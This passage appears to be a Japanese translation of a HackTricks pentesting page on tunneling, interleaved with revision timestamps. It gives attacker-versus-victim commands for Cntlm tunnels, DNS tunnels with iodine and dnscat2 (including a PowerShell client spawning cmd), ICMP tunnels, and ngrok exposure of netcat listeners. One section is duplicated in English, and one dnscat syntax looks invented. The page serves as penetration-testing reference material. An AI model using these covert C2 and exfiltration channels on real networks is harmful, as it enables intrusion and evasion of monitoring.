2022-05-16 08:29:00 +00:00
[http://cntlm.sourceforge.net/ ](http://cntlm.sourceforge.net/ )
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。その後、このポートを介してお好みのツールを使用することができます。\
例えば、ポート443を転送します。
2022-05-08 23:13:03 +00:00
```
2023-07-07 23:42:27 +00:00
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
2020-07-15 15:43:14 +00:00
Tunnel 2222:< attackers_machine > :443
```
2023-07-07 23:42:27 +00:00
今、例えば被害者の**SSH**サービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を介してそれに接続することができます。\
また、**meterpreter**を使用して、localhost:443に接続し、攻撃者がポート2222でリッスンしている場合も同様です。
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
## YARP
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Microsoftによって作成された逆プロキシ。ここで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
## DNSトンネリング
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Iodine
2020-07-15 15:43:14 +00:00
[https://code.kryo.se/iodine/ ](https://code.kryo.se/iodine/ )
2023-07-07 23:42:27 +00:00
DNSクエリを使用して、チュンアダプタを作成し、両方のシステムでルートが必要です。それらの間でデータをトンネルするために。
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
2023-07-07 23:42:27 +00:00
トンネルは非常に遅くなります。このトンネルを介して圧縮されたSSH接続を作成するには、次の手順を使用します:
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
ssh < user > @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
2022-05-08 23:13:03 +00:00
### DNSCat2
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
****[**ここからダウンロードしてください**](https://github.com/iagox86/dnscat2)**.**
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
DNSを介してC\&Cチャネルを確立します。ルート権限は必要ありません。
2020-07-15 15:43:14 +00:00
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
2022-10-05 21:51:12 +00:00
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
#### **PowerShellで**
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
[**dnscat2-powershell** ](https://github.com/lukebaggett/dnscat2-powershell )を使用して、PowerShellでdnscat2クライアントを実行できます。
2022-10-05 21:51:12 +00:00
```
Import-Module .\dnscat2.ps1
2023-07-07 23:42:27 +00:00
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
2022-10-05 21:51:12 +00:00
```
2023-07-07 23:42:27 +00:00
#### **dnscatを使用したポートフォワーディング**
dnscatは、DNSトンネリングを使用してポートフォワーディングを実現するツールです。このツールを使用すると、DNSトラフィックを介して通信を行うことができます。
以下の手順に従って、dnscatを使用してポートフォワーディングを設定します。
1. ターゲットマシンにdnscatをインストールします。
2. ローカルマシンでdnscatを起動します。
```
dnscat server -l < local_port >
```
`<local_port>` には、ローカルマシンで使用するポート番号を指定します。
3. ターゲットマシンでdnscatを起動します。
```
dnscat client -c < dns_server > -l < local_port > -r < remote_port >
```
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
`<dns_server>` には、dnscatサーバーのIPアドレスを指定します。`< local_port > `には、ローカルマシンで使用するポート番号を指定します。`< remote_port > `には、ターゲットマシンで使用するポート番号を指定します。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
4. ポートフォワーディングが正常に設定されたかどうかを確認します。
```
nc localhost < local_port >
```
`<local_port>` には、ローカルマシンで使用したポート番号を指定します。接続が成功した場合、ポートフォワーディングが正常に機能しています。
dnscatを使用することで、ポートフォワーディングを簡単に設定することができます。この手法は、セキュリティテストや侵入テストにおいて便利です。
2020-07-15 15:43:14 +00:00
```bash
session -i < sessions_id >
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
2023-07-07 23:42:27 +00:00
#### プロキシチェーンのDNSを変更する
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Proxychainsは、`gethostbyname` libc呼び出しを傍受し、TCP DNSリクエストをソックスプロキシを介してトンネリングします。デフォルトでは、proxychainsが使用するDNSサーバーは4.2.2.2( ハードコードされています) 。変更するには、ファイル: _/usr/lib/proxychains3/proxyresolv_を編集し、IPを変更します。**Windows環境**の場合、**ドメインコントローラ**のIPを設定することもできます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
## Goにおけるトンネル
2020-07-15 15:43:14 +00:00
[https://github.com/hotnops/gtunnel ](https://github.com/hotnops/gtunnel )
2023-07-07 23:42:27 +00:00
## ICMPトンネリング
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Hans
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
[https://github.com/friedrich/hans ](https://github.com/friedrich/hans )\
2020-07-15 15:43:14 +00:00
[https://github.com/albertzak/hanstunnel ](https://github.com/albertzak/hanstunnel )
2023-07-07 23:42:27 +00:00
両方のシステムでルート権限が必要です。TUNアダプタを作成し、ICMPエコーリクエストを使用してデータをトンネルできます。
2020-07-15 15:43:14 +00:00
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c < server_ip > -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
2022-10-05 21:51:12 +00:00
### ptunnel-ng
2023-07-07 23:42:27 +00:00
****[**ここからダウンロードしてください**](https://github.com/utoni/ptunnel-ng.git)。
2022-10-05 21:51:12 +00:00
```bash
# Generate it
2023-07-07 23:42:27 +00:00
sudo ./autogen.sh
2022-10-05 21:51:12 +00:00
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p < server_ip > -l < listen_port > -r < dest_ip > -R < dest_port >
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
2023-03-15 12:00:16 +00:00
## ngrok
2023-07-07 23:42:27 +00:00
**[ngrok](https://ngrok.com/)は、1つのコマンドラインでソリューションをインターネットに公開するためのツールです。**
*公開URIは、UID.ngrok.ioのようなものです。*
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
### インストール
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
- アカウントを作成する: https://ngrok.com/signup
- クライアントのダウンロード:
2023-03-15 12:00:16 +00:00
```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
2023-07-07 23:42:27 +00:00
### 基本的な使用法
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
**ドキュメント:** [https://ngrok.com/docs/getting-started/ ](https://ngrok.com/docs/getting-started/ ).
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
*必要に応じて、認証とTLSを追加することも可能です。*
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
#### TCPトンネリング
2023-03-15 12:00:16 +00:00
```bash
2023-07-07 23:42:27 +00:00
# Pointing to 0.0.0.0:4444
2023-03-15 12:00:16 +00:00
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
2023-07-07 23:42:27 +00:00
#### HTTPを使用してファイルを公開する
One common use case for tunneling and port forwarding is to expose files using the HTTP protocol. This can be useful when you want to share files with others or access them remotely.
To expose files with HTTP, you can use tools like `ngrok` or `localtunnel` . These tools create a secure tunnel between your local machine and a public URL, allowing you to access your files from anywhere.
Here's a step-by-step guide on how to expose files using `ngrok` :
1. Download and install `ngrok` from the official website.
2. Open a terminal and navigate to the directory where `ngrok` is installed.
3. Run the command `ngrok http <port>` , replacing `<port>` with the port number of the local server hosting your files.
4. `ngrok` will generate a public URL that you can use to access your files. It will also display the status of the tunnel.
5. Share the generated URL with others or use it to access your files remotely.
Keep in mind that when exposing files with HTTP, anyone with the URL can access them. Make sure to secure your files and only share the URL with trusted individuals.
#### HTTPを使用してファイルを公開する
トンネリングとポートフォワーディングの一般的な使用例の1つは、HTTPプロトコルを使用してファイルを公開することです。これは、他の人とファイルを共有したり、リモートでアクセスしたりする場合に便利です。
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
HTTPを使用してファイルを公開するには、`ngrok`や`localtunnel`などのツールを使用できます。これらのツールは、ローカルマシンと公開URLの間に安全なトンネルを作成し、どこからでもファイルにアクセスできるようにします。
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
以下は、`ngrok`を使用してファイルを公開する手順のガイドです:
1. 公式ウェブサイトから`ngrok`をダウンロードしてインストールします。
2. ターミナルを開き、`ngrok`がインストールされているディレクトリに移動します。
3. `ngrok http <port>` というコマンドを実行します。`< port > `は、ファイルをホストしているローカルサーバーのポート番号に置き換えます。
4. `ngrok` は、ファイルにアクセスするために使用できる公開URLを生成します。また、トンネルの状態も表示されます。
5. 生成されたURLを他の人と共有するか、リモートでファイルにアクセスするために使用します。
HTTPを使用してファイルを公開する場合、URLを持つ人は誰でもファイルにアクセスできます。ファイルを保護し、信頼できる個人とのみURLを共有するように注意してください。
2023-03-15 12:00:16 +00:00
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
2023-07-07 23:42:27 +00:00
#### HTTPコールのスニッフィング
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
*XSS、SSRF、SSTIに役立ちます...*
標準出力から直接、またはHTTPインターフェース [http://127.0.0.1:4040 ](http://127.0.0.1:4000 ) で行います。
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
#### 内部のHTTPサービスのトンネリング
2023-03-15 12:00:16 +00:00
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
2023-07-07 23:42:27 +00:00
#### ngrok.yamlのシンプルな設定例
2023-03-15 12:00:16 +00:00
2023-07-07 23:42:27 +00:00
以下は3つのトンネルを開きます:
- 2つのTCPトンネル
- /tmp/httpbin/からの静的ファイル公開を行う1つのHTTPトンネル
2023-03-15 12:00:16 +00:00
```yaml
tunnels:
2023-07-07 23:42:27 +00:00
mytcp:
addr: 4444
proto: tcp
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## その他のチェックするツール
2020-07-15 15:43:14 +00:00
* [https://github.com/securesocketfunneling/ssf ](https://github.com/securesocketfunneling/ssf )
* [https://github.com/z3APA3A/3proxy ](https://github.com/z3APA3A/3proxy )
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
< / details >